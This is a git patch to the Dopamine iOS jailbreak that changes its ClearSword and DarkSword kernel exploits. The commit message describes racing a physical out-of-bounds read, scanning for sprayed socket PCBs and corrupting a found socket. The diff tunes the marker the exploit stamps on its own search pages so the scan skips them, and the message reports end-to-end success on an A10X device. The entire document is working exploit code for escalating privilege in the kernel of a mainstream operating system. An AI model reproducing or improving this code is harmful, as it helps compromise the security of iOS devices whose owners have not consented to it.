From 2d84314a80f4fa5e316eaa70d5992ccfc6a46f92 Mon Sep 17 00:00:00 2001 From: Christoph Date: Tue, 1 Sep 2026 21:10:39 -0300 Subject: [PATCH] pe_v1: recognize own search pages instead of re-racing them as lost races The search-mapping pages are stamped with randomMarker, which is also the lost-race sentinel in physical_oob_read_mo. So a successful OOB read that lands on one of our own search pages reads back randomMarker, is judged a lost race, and is re-raced up to the retry cap before the scan skips it -- an own page can never hold a sprayed PCB, so that work is redundant. Stamp the search pages with a distinct randomMarker ^ K so an own-page read is recognized on the first attempt and the scan advances. The lost-race sentinel and the physically-contiguous-mapping stamp are unchanged. Optimization only; acquisition behaviour is unchanged (verified: ClearSword jailbreaks an A10X device end-to-end; DarkSword acquires identically with the own-page reads going from unrecognized to recognized). Applies to both the arm64e (DarkSword) and arm64 (ClearSword) scan paths. --- Application/Dopamine/Exploits/ClearSword/exploit/common.h | 1 + Application/Dopamine/Exploits/ClearSword/exploit/poc.c | 7 +++++-- Application/Dopamine/Exploits/DarkSword/DarkSword.m | 8 ++++++-- 3 files changed, 12 insertions(+), 4 deletions(-) diff --git a/Application/Dopamine/Exploits/ClearSword/exploit/common.h b/Application/Dopamine/Exploits/ClearSword/exploit/common.h index 3310e74fb1..ef2253f122 100644 --- a/Application/Dopamine/Exploits/ClearSword/exploit/common.h +++ b/Application/Dopamine/Exploits/ClearSword/exploit/common.h @@ -88,6 +88,7 @@ typedef struct pe_context { int read_fd; uint64_t random_marker; + uint64_t random_marker_owned; uint64_t wired_page_marker; free_thread_shared_t* shared; diff --git a/Application/Dopamine/Exploits/ClearSword/exploit/poc.c b/Application/Dopamine/Exploits/ClearSword/exploit/poc.c index f9c3668d44..ffd1bf1f53 100644 --- a/Application/Dopamine/Exploits/ClearSword/exploit/poc.c +++ b/Application/Dopamine/Exploits/ClearSword/exploit/poc.c @@ -120,7 +120,7 @@ kern_return_t pe_v1(void) { // place marker on start of each page for (uint64_t k = 0; k < search_mapping_size; k += vm_page_size) { - memcpy((void*)(search_mapping_address + k), &g_ctx.random_marker, sizeof(g_ctx.random_marker)); + memcpy((void*)(search_mapping_address + k), &g_ctx.random_marker_owned, sizeof(g_ctx.random_marker_owned)); } // save the address of the mapping onto the search mappings array @@ -184,7 +184,9 @@ kern_return_t pe_v1(void) { kr = physical_oob_read_mo(memory_object, seeking_offset, g_ctx.oob_size, g_ctx.oob_offset, read_buffer); if (kr == KERN_SUCCESS) { // LOG_DEBUG("Finding and corrupting socket..."); - if (find_and_corrupt_socket(memory_object, seeking_offset, read_buffer, write_buffer, target_inp_gencnt_list, &target_inp_gencnt_count, false) == KERN_SUCCESS) { + if (*(uint64_t*)read_buffer == g_ctx.random_marker_owned) { + // own search page, not a sprayed PCB; advance to next page + } else if (find_and_corrupt_socket(memory_object, seeking_offset, read_buffer, write_buffer, target_inp_gencnt_list, &target_inp_gencnt_count, false) == KERN_SUCCESS) { success = true; break; } @@ -352,6 +354,7 @@ int clearsword_run(void) { g_ctx.n_of_oob_pages = 2; arc4random_buf(&g_ctx.random_marker, sizeof(g_ctx.random_marker)); + g_ctx.random_marker_owned = g_ctx.random_marker ^ 0x9e3779b97f4a7c15ULL; // distinct from the lost-race sentinel arc4random_buf(&g_ctx.wired_page_marker, sizeof(g_ctx.wired_page_marker)); g_ctx.default_file_content = calloc(1, g_ctx.target_file_size); diff --git a/Application/Dopamine/Exploits/DarkSword/DarkSword.m b/Application/Dopamine/Exploits/DarkSword/DarkSword.m index 17c2a57a9e..4f322a3e81 100644 --- a/Application/Dopamine/Exploits/DarkSword/DarkSword.m +++ b/Application/Dopamine/Exploits/DarkSword/DarkSword.m @@ -53,6 +53,7 @@ void memset64(void *ptr, uint64_t val, size_t size) int successReadCount = 0; struct iovec iov; uint64_t randomMarker; +uint64_t randomMarkerOwned; uint64_t wiredPageMarker; mach_port_t pcObject = MACH_PORT_NULL; mach_vm_address_t pcAddress = 0; @@ -138,6 +139,7 @@ void init_globals(void) gMlockDict = [NSMutableDictionary new]; default_file_content = calloc(1, TARGET_FILE_SIZE); randomMarker = (uint64_t)arc4random() << 32 | arc4random(); + randomMarkerOwned = randomMarker ^ 0x9e3779b97f4a7c15ULL; // distinct from the lost-race sentinel wiredPageMarker = (uint64_t)arc4random() << 32 | arc4random(); cpu_subtype_t cpusubtype = 0; @@ -800,7 +802,7 @@ void pe_v1(void) FAILURE(0); } for (int k = 0; k < searchMappingSize; k += PAGE_SIZE) { - *(uint64_t *)(searchMappingAddress + k) = randomMarker; + *(uint64_t *)(searchMappingAddress + k) = randomMarkerOwned; } [searchMappings addObject:@(searchMappingAddress)]; } @@ -841,7 +843,9 @@ void pe_v1(void) while (seekingOffset <= searchMappingSize - pcSize) { kr = physical_oob_read_mo(memoryObject, seekingOffset, OOB_SIZE, OOB_OFFSET, readBuffer); if (kr == KERN_SUCCESS) { - if (find_and_corrupt_socket(memoryObject, seekingOffset, readBuffer, writeBuffer, targetInpGencntList, false) == KERN_SUCCESS) { + if (*(uint64_t *)readBuffer == randomMarkerOwned) { + // own search page, not a sprayed PCB; advance to next page + } else if (find_and_corrupt_socket(memoryObject, seekingOffset, readBuffer, writeBuffer, targetInpGencntList, false) == KERN_SUCCESS) { success = true; break; }